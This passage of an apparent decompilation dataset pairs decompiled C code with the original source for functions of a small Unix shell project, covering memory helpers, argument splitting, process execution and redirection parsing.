*)&unk_396, 1);\nreturn v2;\n}", "original_code": "void *emalloc(size_t n)\n{\n void *rv;\n if ((rv = malloc(n)) == ((void *)0))\n fatal(\"out of memory!\\n\", \"\", 1);\n return rv;\n}", "canonical_original_code": "void *emalloc(unsigned long n)\n{\n void *rv;\n if ((rv = malloc(n)) == ((void *)0))\n fatal(\"out of memory!\\n\", \"\", 1);\n return rv;\n}", "variable_types": [ [ "n", "unsigned long" ], [ "rv", "void *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" }, { "name": "erealloc", "canonical_name": "func2", "repo": "pxunl/myshell", "decompiled_code": "void *__fastcall erealloc(void *a1, size_t a2)\n{\nvoid *v3; // [rsp+18h] [rbp-8h]\n\nv3 = realloc(a1, a2);\nif ( !v3 )\nfatal(\"realloc() fail!\", (const char *)&unk_396, 1);\nreturn v3;\n}\n", "canonical_decompiled_code": "void *__fastcall func2(void *a1, size_t a2)\n{\nvoid *v3; // [rsp+18h] [rbp-8h]\n\nv3 = realloc(a1, a2);\nif ( !v3 )\nfunc0(\"realloc() fail!\", (const char *)&unk_396, 1);\nreturn v3;\n}", "original_code": "void *erealloc(void *point, size_t n)\n{\n void *rv;\n if ((rv = realloc(point, n)) == ((void *)0))\n {\n fatal(\"realloc() fail!\", \"\" , 1);\n }\n return rv;\n}", "canonical_original_code": "void *erealloc(void *point, unsigned long n)\n{\n void *rv;\n if ((rv = realloc(point, n)) == ((void *)0))\n {\n fatal(\"realloc() fail!\", \"\" , 1);\n }\n return rv;\n}", "variable_types": [ [ "point", "void *" ], [ "n", "unsigned long" ], [ "rv", "void *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" }, { "name": "create_str", "canonical_name": "func4", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall create_str(const char *a1, int a2)\n{\nchar *dest; // [rsp+18h] [rbp-8h]\n\ndest = (char *)emalloc(a2 + 1);\nstrncpy(dest, a1, a2);\ndest[a2] = 0;\nreturn dest;\n}\n", "canonical_decompiled_code": "char *__fastcall func4(const char *a1, int a2)\n{\nchar *dest; // [rsp+18h] [rbp-8h]\n\ndest = (char *)func1(a2 + 1);\nstrncpy(dest, a1, a2);\ndest[a2] = 0;\nreturn dest;\n}", "original_code": "char * create_str(char *begin, int len)\n{\n char *new_str = emalloc(len+1);\n strncpy(new_str, begin, len);\n new_str[len] = '\\0';\n return new_str;\n}", "canonical_original_code": "char *create_str(char *begin, int len)\n{\n char *new_str = emalloc(len+1);\n strncpy(new_str, begin, len);\n new_str[len] = '\\0';\n return new_str;\n}", "variable_types": [ [ "begin", "char *" ], [ "len", "int" ], [ "new_str", "char *" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" }, { "name": "spiltline", "canonical_name": "func5", "repo": "pxunl/myshell", "decompiled_code": "void *__fastcall spiltline(const char *a1)\n{\nint v2; // eax\nconst char *v3; // [rsp+10h] [rbp-40h]\nint i; // [rsp+1Ch] [rbp-34h]\nconst char *v5; // [rsp+20h] [rbp-30h]\nint v6; // [rsp+2Ch] [rbp-24h]\nint v7; // [rsp+30h] [rbp-20h]\nint v8; // [rsp+34h] [rbp-1Ch]\nvoid *v9; // [rsp+38h] [rbp-18h]\n\nif ( !a1 )\nreturn 0LL;\nv6 = 0;\nv5 = a1;\nv9 = emalloc(0x80uLL);\nv7 = 128;\nv8 = 16;\nwhile ( *v5 )\n{\nwhile ( *v5 == 32 || *v5 == 9 )\n++v5;\nif ( !*v5 )\nbreak;\nif ( v8 <= v6 + 1 )\n{\nv9 = erealloc(v9, v7 + 128);\nv7 += 128;\nv8 += 16;\n}\nv3 = v5;\nfor ( i = 1; *++v5 && *v5 != 32 && *v5 != 9; ++i )\n;\nv2 = v6++;\n*((_QWORD *)v9 + v2) = create_str(v3, i);\n}\n*((_QWORD *)v9 + v6) = 0LL;\nreturn v9;\n}\n", "canonical_decompiled_code": "void *__fastcall func5(const char *a1)\n{\nint v2; // eax\nconst char *v3; // [rsp+10h] [rbp-40h]\nint i; // [rsp+1Ch] [rbp-34h]\nconst char *v5; // [rsp+20h] [rbp-30h]\nint v6; // [rsp+2Ch] [rbp-24h]\nint v7; // [rsp+30h] [rbp-20h]\nint v8; // [rsp+34h] [rbp-1Ch]\nvoid *v9; // [rsp+38h] [rbp-18h]\n\nif ( !a1 )\nreturn 0LL;\nv6 = 0;\nv5 = a1;\nv9 = func1(0x80uLL);\nv7 = 128;\nv8 = 16;\nwhile ( *v5 )\n{\nwhile ( *v5 == 32 || *v5 == 9 )\n++v5;\nif ( !*v5 )\nbreak;\nif ( v8 <= v6 + 1 )\n{\nv9 = func2(v9, v7 + 128);\nv7 += 128;\nv8 += 16;\n}\nv3 = v5;\nfor ( i = 1; *++v5 && *v5 != 32 && *v5 != 9; ++i )\n;\nv2 = v6++;\n*((_QWORD *)v9 + v2) = func4(v3, i);\n}\n*((_QWORD *)v9 + v6) = 0LL;\nreturn v9;\n}", "original_code": "char **spiltline(char *cmdline)\n{\n if (cmdline == ((void *)0))\n {\n return ((void *)0);\n }\n char **args;\n int pots = 0;\n int buf_num = 0;\n int arg_num = 0;\n char *str = cmdline;\n char *start;\n int length;\n args = emalloc(128);\n buf_num = 128;\n pots = 128 / sizeof(char *);\n while (*str != '\\0')\n {\n while (((*str)==' ' || (*str)=='\\t'))\n {\n str++;\n }\n if (*str == '\\0')\n {\n break;\n }\n if (arg_num+1 >= pots)\n {\n args = erealloc(args, buf_num + 128);\n buf_num += 128;\n pots += (128/sizeof(char*));\n }\n start = str;\n length = 1;\n while ((*(++str) != '\\0') && (!((*str)==' ' || (*str)=='\\t')))\n {\n length++;\n }\n args[arg_num++] = create_str(start, length);\n }\n args[arg_num] = ((void *)0);\n return args;\n}", "canonical_original_code": "char **spiltline(char *cmdline)\n{\n if (cmdline == ((void *)0))\n {\n return ((void *)0);\n }\n char **args;\n int pots = 0;\n int buf_num = 0;\n int arg_num = 0;\n char *str = cmdline;\n char *start;\n int length;\n args = emalloc(128);\n buf_num = 128;\n pots = 128 / sizeof(char *);\n while (*str != '\\0')\n {\n while (((*str)==' ' || (*str)=='\\t'))\n {\n str++;\n }\n if (*str == '\\0')\n {\n break;\n }\n if (arg_num+1 >= pots)\n {\n args = erealloc(args, buf_num + 128);\n buf_num += 128;\n pots += (128/sizeof(char *));\n }\n start = str;\n length = 1;\n while ((*(++str) != '\\0') && (!((*str)==' ' || (*str)=='\\t')))\n {\n length++;\n }\n args[arg_num++] = create_str(start, length);\n }\n args[arg_num] = ((void *)0);\n return args;\n}", "variable_types": [ [ "cmdline", "char *" ], [ "args", "char **" ], [ "pots", "int" ], [ "buf_num", "int" ], [ "arg_num", "int" ], [ "str", "char *" ], [ "start", "char *" ], [ "length", "int" ] ], "return_type": "char **", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" }, { "name": "free_list", "canonical_name": "func6", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall free_list(void **a1)\n{\nvoid **v1; // rax\nvoid **i; // [rsp+18h] [rbp-8h]\n\nfor ( i = a1; *i; ++i )\n{\nv1 = i;\nfree(*v1);\n}\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func6(void **a1)\n{\nvoid **v1; // rax\nvoid **i; // [rsp+18h] [rbp-8h]\n\nfor ( i = a1; *i; ++i )\n{\nv1 = i;\nfree(*v1);\n}\nfree(a1);\n}", "original_code": "void free_list(char **list)\n{\n char **cp = list;\n while (*cp)\n free(*cp++);\n free(list);\n list = ((void *)0);\n}", "canonical_original_code": "void free_list(char **list)\n{\n char **cp = list;\n while (*cp)\n free(*cp++);\n free(list);\n list = ((void *)0);\n}", "variable_types": [ [ "list", "char **" ], [ "cp", "char **" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "4fcd30789961d0269acea113c9ac67846a5279fc9f60f2759e66ee0531cbc492" } ]
5d3d5007637e1ee31ff63f7cfa2319cfe2ae0f45e009c51b667c4b1eee94cc66
pxunl/myshell
[ [ "Execute", "->" ] ]
[]
[ { "name": "Execute", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Execute(const char **a1)\n{\nint v2; // eax\n__WAIT_STATUS stat_loc; // [rsp+18h] [rbp-8h] BYREF\n\nLODWORD(stat_loc.__uptr) = -1;\nif ( !*a1 )\nreturn 0xFFFFFFFFLL;\nHIDWORD(stat_loc.__iptr) = fork();\nif ( HIDWORD(stat_loc.__iptr) == -1 )\n{\nperror(\"fork fail\");\n}\nelse\n{\nif ( !HIDWORD(stat_loc.__iptr) )\n{\nenviron = (char **)Table_To_Env();\nsignal(2, 0LL);\nsignal(3, 0LL);\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nif ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )\nv2 = -1;\nelse\nv2 = 1;\nLODWORD(stat_loc.__uptr) = v2;\n}\nreturn LODWORD(stat_loc.__uptr);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(const char **a1)\n{\nint v2; // eax\n__WAIT_STATUS stat_loc; // [rsp+18h] [rbp-8h] BYREF\n\nLODWORD(stat_loc.__uptr) = -1;\nif ( !*a1 )\nreturn 0xFFFFFFFFLL;\nHIDWORD(stat_loc.__iptr) = fork();\nif ( HIDWORD(stat_loc.__iptr) == -1 )\n{\nperror(\"fork fail\");\n}\nelse\n{\nif ( !HIDWORD(stat_loc.__iptr) )\n{\nenviron = (char **)Table_To_Env();\nsignal(2, 0LL);\nsignal(3, 0LL);\nexecvp(*a1, (char *const *)a1);\nperror(\"illegal command!\\n\");\nexit(1);\n}\nif ( wait((__WAIT_STATUS)&stat_loc) == -1 )\n{\nLODWORD(stat_loc.__uptr) = -1;\nperror(\"wait\\n\");\n}\nif ( ((__int64)stat_loc.__uptr & 0x7F) != 0 )\nv2 = -1;\nelse\nv2 = 1;\nLODWORD(stat_loc.__uptr) = v2;\n}\nreturn LODWORD(stat_loc.__uptr);\n}", "original_code": "int Execute(char *argv[])\n{\n int pid_f;\n int chlid_in = -1;\n extern char **environ;\n if (argv[0] == ((void *)0))\n return -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n }\n else if (pid_f == 0)\n {\n environ = Table_To_Env();\n signal(2, ((__sighandler_t) 0));\n signal(3, ((__sighandler_t) 0));\n execvp(argv[0], argv);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return chlid_in;\n}", "canonical_original_code": "int Execute(char *argv[])\n{\n int pid_f;\n int chlid_in = -1;\n extern char **environ;\n if (argv[0] == ((void *)0))\n return -1;\n if ((pid_f = fork()) == -1)\n {\n perror(\"fork fail\");\n }\n else if (pid_f == 0)\n {\n environ = Table_To_Env();\n signal(2, ((void (*)(int)) 0));\n signal(3, ((void (*)(int)) 0));\n execvp(argv[0], argv);\n perror(\"illegal command!\\n\");\n exit(1);\n }\n else\n {\n if (wait(&chlid_in) == -1)\n {\n chlid_in = -1;\n perror(\"wait\\n\");\n }\n chlid_in = ((((chlid_in) & 0x7f) == 0)? 1: -1);\n }\n return chlid_in;\n}", "variable_types": [ [ "argv", "char *[]" ], [ "pid_f", "int" ], [ "chlid_in", "int" ], [ "environ", "char **" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "5d3d5007637e1ee31ff63f7cfa2319cfe2ae0f45e009c51b667c4b1eee94cc66" } ]
7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3
pxunl/myshell
[ [ "get_redirection_list", "->", "is_in_descriptor_table", "Check_File_Name", "free_temp_cmd", "Process_Redirection" ], [ "free_temp_cmd", "->", "get_redirection_list", "Process_Redirection", "do_redirect_pipe" ], [ "Need_Redirection", "->", "is_in_descriptor_table" ], [ "is_in_descriptor_table", "->", "get_redirection_list", "Need_Redirection", "Check_Redirection_Validity" ], [ "Check_Redirection_Validity", "->", "Usage_Redirection", "is_in_descriptor_table", "Check_File_Name" ], [ "Check_File_Name", "->", "get_redirection_list", "Check_Redirection_Validity" ], [ "Usage_Redirection", "->", "Check_Redirection_Validity" ], [ "Process_Redirection", "->", "get_redirection_list", "Redirection_Usage", "free_temp_cmd", "free_direction_list" ], [ "free_direction_list", "->", "Process_Redirection" ], [ "do_redirect_output", "->" ], [ "do_redirect_input", "->" ], [ "do_redirect_double_output", "->" ], [ "Redirection_Usage", "->", "Process_Redirection" ], [ "do_redirect_pipe", "->", "free_temp_cmd" ] ]
[]
[ { "name": "get_redirection_list", "canonical_name": "func0", "repo": "pxunl/myshell", "decompiled_code": "char **__fastcall get_redirection_list(__int64 a1)\n{\nsize_t v1; // rax\n_QWORD *v2; // rax\nsize_t v3; // rax\nsize_t v4; // rax\nchar **v6; // [rsp+18h] [rbp-48h]\nchar **v7; // [rsp+20h] [rbp-40h]\n_QWORD *v8; // [rsp+28h] [rbp-38h]\nchar *j; // [rsp+30h] [rbp-30h]\nchar **v10; // [rsp+38h] [rbp-28h]\nint v11; // [rsp+44h] [rbp-1Ch]\nint i; // [rsp+48h] [rbp-18h]\nint v13; // [rsp+4Ch] [rbp-14h]\n\nv13 = 0;\nfor ( i = 0; *(_QWORD *)(8LL * i + a1); ++i )\n;\nv8 = malloc(8LL * (i + 1));\nwhile ( *(_QWORD *)(8LL * v13 + a1) )\n{\nv1 = strlen(*(const char **)(8LL * v13 + a1));\nv8[v13] = malloc(v1 + 1);\nif ( !v8[v13] )\n{\ng_print(\"Out of memory!\\n\");\nexit(1);\n}\nstrcpy((char *)v8[v13], *(const char **)(8LL * v13 + a1));\n++v13;\n}\nv8[v13] = 0LL;\nv11 = 0;\nv7 = (char **)malloc(0x20uLL);\nv2 = malloc(0x20uLL);\nv7[3] = 0LL;\nv2[3] = 0LL;\nv10 = v7;\nwhile ( v8[v11] )\n{\nif ( (unsigned int)is_in_descriptor_table(v8[v11]) == 1\n&& v8[v11 + 1]\n&& (unsigned int)Check_File_Name(v8[v11 + 1]) == 1 )\n{\nv6 = (char **)malloc(0x20uLL);\nv3 = strlen((const char *)v8[v11]);\n*v6 = (char *)malloc(v3 + 1);\nstrcpy(*v6, (const char *)v8[v11]);\nv4 = strlen((const char *)v8[v11 + 1]);\nv6[2] = (char *)malloc(v4 + 1);\nstrcpy(v6[2], (const char *)v8[v11 + 1]);\nv6[3] = 0LL;\nv10[3] = (char *)v6;\nv10 = v6;\n}\n++v11;\n}\nfor ( j = v7[3]; j; j = (char *)*((_QWORD *)j + 3) )\n{\nif ( !strcmp(*(const char **)j, redirection_descriptor) )\n{\n*((_DWORD *)j + 2) = 0;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 1)) )\n{\n*((_DWORD *)j + 2) = 1;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 2)) )\n{\n*((_DWORD *)j + 2) = 2;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 3)) )\n{\n*((_DWORD *)j + 2) = 3;\n}\n}\nfree_temp_cmd(v8);\nreturn v7;\n}\n", "canonical_decompiled_code": "char **__fastcall func0(__int64 a1)\n{\nsize_t v1; // rax\n_QWORD *v2; // rax\nsize_t v3; // rax\nsize_t v4; // rax\nchar **v6; // [rsp+18h] [rbp-48h]\nchar **v7; // [rsp+20h] [rbp-40h]\n_QWORD *v8; // [rsp+28h] [rbp-38h]\nchar *j; // [rsp+30h] [rbp-30h]\nchar **v10; // [rsp+38h] [rbp-28h]\nint v11; // [rsp+44h] [rbp-1Ch]\nint i; // [rsp+48h] [rbp-18h]\nint v13; // [rsp+4Ch] [rbp-14h]\n\nv13 = 0;\nfor ( i = 0; *(_QWORD *)(8LL * i + a1); ++i )\n;\nv8 = malloc(8LL * (i + 1));\nwhile ( *(_QWORD *)(8LL * v13 + a1) )\n{\nv1 = strlen(*(const char **)(8LL * v13 + a1));\nv8[v13] = malloc(v1 + 1);\nif ( !v8[v13] )\n{\ng_print(\"Out of memory!\\n\");\nexit(1);\n}\nstrcpy((char *)v8[v13], *(const char **)(8LL * v13 + a1));\n++v13;\n}\nv8[v13] = 0LL;\nv11 = 0;\nv7 = (char **)malloc(0x20uLL);\nv2 = malloc(0x20uLL);\nv7[3] = 0LL;\nv2[3] = 0LL;\nv10 = v7;\nwhile ( v8[v11] )\n{\nif ( (unsigned int)func3(v8[v11]) == 1\n&& v8[v11 + 1]\n&& (unsigned int)func5(v8[v11 + 1]) == 1 )\n{\nv6 = (char **)malloc(0x20uLL);\nv3 = strlen((const char *)v8[v11]);\n*v6 = (char *)malloc(v3 + 1);\nstrcpy(*v6, (const char *)v8[v11]);\nv4 = strlen((const char *)v8[v11 + 1]);\nv6[2] = (char *)malloc(v4 + 1);\nstrcpy(v6[2], (const char *)v8[v11 + 1]);\nv6[3] = 0LL;\nv10[3] = (char *)v6;\nv10 = v6;\n}\n++v11;\n}\nfor ( j = v7[3]; j; j = (char *)*((_QWORD *)j + 3) )\n{\nif ( !strcmp(*(const char **)j, redirection_descriptor) )\n{\n*((_DWORD *)j + 2) = 0;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 1)) )\n{\n*((_DWORD *)j + 2) = 1;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 2)) )\n{\n*((_DWORD *)j + 2) = 2;\n}\nelse if ( !strcmp(*(const char **)j, *(&redirection_descriptor + 3)) )\n{\n*((_DWORD *)j + 2) = 3;\n}\n}\nfunc1(v8);\nreturn v7;\n}", "original_code": "struct REDIRECT *get_redirection_list(char ** cmd)\n{\n char **program_parameters = ((void *)0);\n int i = 0;\n int count = 0;\n while (cmd[count] != ((void *)0))\n {\n count++;\n }\n program_parameters = (char **)malloc((count + 1) * sizeof(char *));\n while (cmd[i] != ((void *)0))\n {\n program_parameters[i] = (char *)malloc((strlen(cmd[i]) + 1) * sizeof(char));\n if (program_parameters[i] == ((void *)0))\n {\n g_print(\"Out of memory!\\n\");\n exit(1);\n }\n strcpy(program_parameters[i], cmd[i]);\n i++;\n }\n program_parameters[i] = ((void *)0);\n int j = 0;\n struct REDIRECT *phead = (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n struct REDIRECT *ptail= (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n phead->next = ((void *)0);\n ptail->next = ((void *)0);\n ptail = phead;\n struct REDIRECT *add_node = ((void *)0);\n while (program_parameters[j] != ((void *)0))\n {\n if ((is_in_descriptor_table(program_parameters[j]) == 1)\n && (program_parameters[j+1] != ((void *)0))\n && (Check_File_Name(program_parameters[j+1]) == 1))\n {\n add_node = (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n add_node->word = (char *)malloc(sizeof(char) * (strlen(program_parameters[j]) + 1));\n strcpy(add_node->word, program_parameters[j]);\n add_node->re_file = (char *)malloc((strlen(program_parameters[j+1]) + 1) * sizeof(char));\n strcpy(add_node->re_file, program_parameters[j+1]);\n add_node->next = ((void *)0);\n ptail->next = add_node;\n ptail = add_node;\n }\n j++;\n }\n struct REDIRECT *travel = phead;\n travel = travel->next;\n while (travel != ((void *)0))\n {\n if (strcmp(travel->word, redirection_descriptor[0]) == 0)\n {\n travel->red_type = Re_singal_out;\n }\n else if (strcmp(travel->word, redirection_descriptor[1]) == 0)\n {\n travel->red_type = Re_singal_in;\n }\n else if (strcmp(travel->word, redirection_descriptor[2]) == 0)\n {\n travel->red_type = Re_double_out;\n }\n else if (strcmp(travel->word, redirection_descriptor[3]) == 0)\n {\n travel->red_type = Re_pipe;\n }\n travel = travel->next;\n }\n free_temp_cmd(program_parameters);\n return phead;\n}", "canonical_original_code": "struct REDIRECT *get_redirection_list(char **cmd)\n{\n char **program_parameters = ((void *)0);\n int i = 0;\n int count = 0;\n while (cmd[count] != ((void *)0))\n {\n count++;\n }\n program_parameters = (char **)malloc((count + 1) * sizeof(char *));\n while (cmd[i] != ((void *)0))\n {\n program_parameters[i] = (char *)malloc((strlen(cmd[i]) + 1) * sizeof(char));\n if (program_parameters[i] == ((void *)0))\n {\n g_print(\"Out of memory!\\n\");\n exit(1);\n }\n strcpy(program_parameters[i], cmd[i]);\n i++;\n }\n program_parameters[i] = ((void *)0);\n int j = 0;\n struct REDIRECT *phead = (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n struct REDIRECT *ptail = (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n phead->next = ((void *)0);\n ptail->next = ((void *)0);\n ptail = phead;\n struct REDIRECT *add_node = ((void *)0);\n while (program_parameters[j] != ((void *)0))\n {\n if ((is_in_descriptor_table(program_parameters[j]) == 1)\n && (program_parameters[j+1] != ((void *)0))\n && (Check_File_Name(program_parameters[j+1]) == 1))\n {\n add_node = (struct REDIRECT *)malloc(sizeof(struct REDIRECT));\n add_node->word = (char *)malloc(sizeof(char) * (strlen(program_parameters[j]) + 1));\n strcpy(add_node->word, program_parameters[j]);\n add_node->re_file = (char *)malloc((strlen(program_parameters[j+1]) + 1) * sizeof(char));\n strcpy(add_node->re_file, program_parameters[j+1]);\n add_node->next = ((void *)0);\n ptail->next = add_node;\n ptail = add_node;\n }\n j++;\n }\n struct REDIRECT *travel = phead;\n travel = travel->next;\n while (travel != ((void *)0))\n {\n if (strcmp(travel->word, redirection_descriptor[0]) == 0)\n {\n travel->red_type = Re_singal_out;\n }\n else if (strcmp(travel->word, redirection_descriptor[1]) == 0)\n {\n travel->red_type = Re_singal_in;\n }\n else if (strcmp(travel->word, redirection_descriptor[2]) == 0)\n {\n travel->red_type = Re_double_out;\n }\n else if (strcmp(travel->word, redirection_descriptor[3]) == 0)\n {\n travel->red_type = Re_pipe;\n }\n travel = travel->next;\n }\n free_temp_cmd(program_parameters);\n return phead;\n}", "variable_types": [ [ "cmd", "char **" ], [ "program_parameters", "char **" ], [ "i", "int" ], [ "count", "int" ], [ "j", "int" ], [ "phead", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "ptail", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "add_node", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ], [ "travel", "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *" ] ], "return_type": "struct REDIRECT { char *word; enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 } red_type; char *re_file; struct REDIRECT *next; } *", "user_defined_types": [ "struct REDIRECT { char *word; enum Redirection_types red_type; char *re_file; struct REDIRECT *next; }", "enum Redirection_types { Re_singal_out=0, Re_singal_in=1, Re_double_out=2, Re_pipe=3 }" ], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "free_temp_cmd", "canonical_name": "func1", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall free_temp_cmd(void **a1)\n{\nvoid **v1; // rax\nvoid **i; // [rsp+18h] [rbp-8h]\n\nfor ( i = a1; *i; ++i )\n{\nv1 = i;\nfree(*v1);\n}\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func1(void **a1)\n{\nvoid **v1; // rax\nvoid **i; // [rsp+18h] [rbp-8h]\n\nfor ( i = a1; *i; ++i )\n{\nv1 = i;\nfree(*v1);\n}\nfree(a1);\n}", "original_code": "void free_temp_cmd(char **cmd)\n{\n char **clear = cmd;\n while (*clear)\n {\n free(*clear++);\n }\n free(cmd);\n cmd = ((void *)0);\n}", "canonical_original_code": "void free_temp_cmd(char **cmd)\n{\n char **clear = cmd;\n while (*clear)\n {\n free(*clear++);\n }\n free(cmd);\n cmd = ((void *)0);\n}", "variable_types": [ [ "cmd", "char **" ], [ "clear", "char **" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Need_Redirection", "canonical_name": "func2", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Need_Redirection(__int64 a1)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; *(_QWORD *)(8LL * i + a1); ++i )\n{\nif ( (unsigned int)is_in_descriptor_table(*(_QWORD *)(8LL * i + a1)) == 1 )\nreturn 1LL;\n}\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; *(_QWORD *)(8LL * i + a1); ++i )\n{\nif ( (unsigned int)func3(*(_QWORD *)(8LL * i + a1)) == 1 )\nreturn 1LL;\n}\nreturn 0xFFFFFFFFLL;\n}", "original_code": "int Need_Redirection(char **cmd)\n{\n int i = 0;\n while (cmd[i] != ((void *)0))\n {\n if (is_in_descriptor_table(cmd[i]) == 1)\n {\n return 1;\n }\n i++;\n }\n return -1;\n}", "canonical_original_code": "int Need_Redirection(char **cmd)\n{\n int i = 0;\n while (cmd[i] != ((void *)0))\n {\n if (is_in_descriptor_table(cmd[i]) == 1)\n {\n return 1;\n }\n i++;\n }\n return -1;\n}", "variable_types": [ [ "cmd", "char **" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "is_in_descriptor_table", "canonical_name": "func3", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall is_in_descriptor_table(const char *a1)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 3; ++i )\n{\nif ( !strcmp((&redirection_descriptor)[i], a1) )\nreturn 1LL;\n}\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(const char *a1)\n{\nint i; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 3; ++i )\n{\nif ( !strcmp((&redirection_descriptor)[i], a1) )\nreturn 1LL;\n}\nreturn 0xFFFFFFFFLL;\n}", "original_code": "int is_in_descriptor_table(char * str)\n{\n int i = 0;\n for (i = 0; i < 4; i++)\n {\n if (strcmp(redirection_descriptor[i], str) == 0)\n {\n return 1;\n }\n }\n return -1;\n}", "canonical_original_code": "int is_in_descriptor_table(char *str)\n{\n int i = 0;\n for (i = 0; i < 4; i++)\n {\n if (strcmp(redirection_descriptor[i], str) == 0)\n {\n return 1;\n }\n }\n return -1;\n}", "variable_types": [ [ "str", "char *" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "7522e66b155d8adcd2aa994a7445e440eb380776651bb773581b223c85bd97a3" }, { "name": "Check_Redirection_Validity", "canonical_name": "func4", "repo": "pxunl/myshell", "decompiled_code": "__int64 __fastcall Check_Redirection_Validity(const char **a1)\n{\n__int64 result; // rax\nint v2; // [rsp+1Ch] [rbp-4h]\n\nif ( !*a1 || strchr(*a1, 62) || strchr(*a1, 124) || strchr(*a1, 60) || strstr(*a1, \">>\") )\n{\nUsage_Redirection(4LL);\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nv2 = 1;\nwhile ( a1[v2] )\n{\nif ( (unsigned int)is_in_descriptor_table(a1[v2]) == 1 )\n{\nif ( !a1[v2 + 1]\n|| (unsigned int)is_in_descriptor_table(a1[v2 + 1]) != -1\n|| (unsigned int)Check_File_Name(a1[v2 + 1]) != 1 )\n{\nreturn 0xFFFFFFFFLL;\n}\nv2 += 2;\n}\nelse\n{\nif ( (unsigned int)Check_File_Name(a1[v2]) == -1 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\n}\nresult = 1LL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(const char **a1)\n{\n__int64 result; // rax\nint v2; // [rsp+1Ch] [rbp-4h]\n\nif ( !*a1 || strchr(*a1, 62) || strchr(*a1, 124) || strchr(*a1, 60) || strstr(*a1, \">>\") )\n{\nfunc6(4LL);\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nv2 = 1;\nwhile ( a1[v2] )\n{\nif ( (unsigned int)func3(a1[v2]) == 1 )\n{\nif ( !a1[v2 + 1]\n|| (unsigned int)func3(a1[v2 + 1]) != -1\n|| (unsigned int)func5(a1[v2 + 1]) != 1 )\n{\nreturn 0xFFFFFFFFLL;\n}\nv2 += 2;\n}\nelse\n{\nif ( (unsigned int)func5(a1[v2]) == -1 )\nreturn 0xFFFFFFFFLL;\n++v2;\n}\n}\nresult = 1LL;\n}\nreturn result;\n}", "original_code": "int Check_Redirection_Validity(char **cmd)\n{\n int flag = 1;\n if ((cmd[0] == ((void *)0))\n || (strchr(cmd[0], '>') != ((void *)0))\n || (strchr(cmd[0], '|') != ((void *)0))\n || (strchr(cmd[0], '<') != ((void *)0))\n || (strstr(cmd[0], \">>\") != ((void *)0)))\n {\n Usage_Redirection(4);\n return -1;\n }\n int i = 1;\n while 